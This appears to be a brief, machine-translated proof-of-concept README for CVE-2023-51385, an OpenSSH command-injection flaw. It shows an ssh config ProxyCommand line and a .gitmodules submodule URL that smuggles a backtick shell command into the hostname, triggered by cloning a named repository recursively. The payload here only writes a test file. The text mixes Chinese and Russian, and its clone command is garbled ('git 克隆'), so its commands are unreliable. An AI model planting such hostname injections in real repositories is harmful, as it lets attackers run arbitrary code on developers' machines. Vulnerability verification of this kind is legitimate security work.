
一个验证对CVE-2023-51385
~/.ssh/config主机 *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
В файле .gitmodules в строке присутствует инъекция команд
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
После настройки выполните следующую команду для запуска
git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
При успешном выполнении в каталоге CVE-2023-51385_test будет создан файл cve.txt
![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )
Подробнее см. в блоге: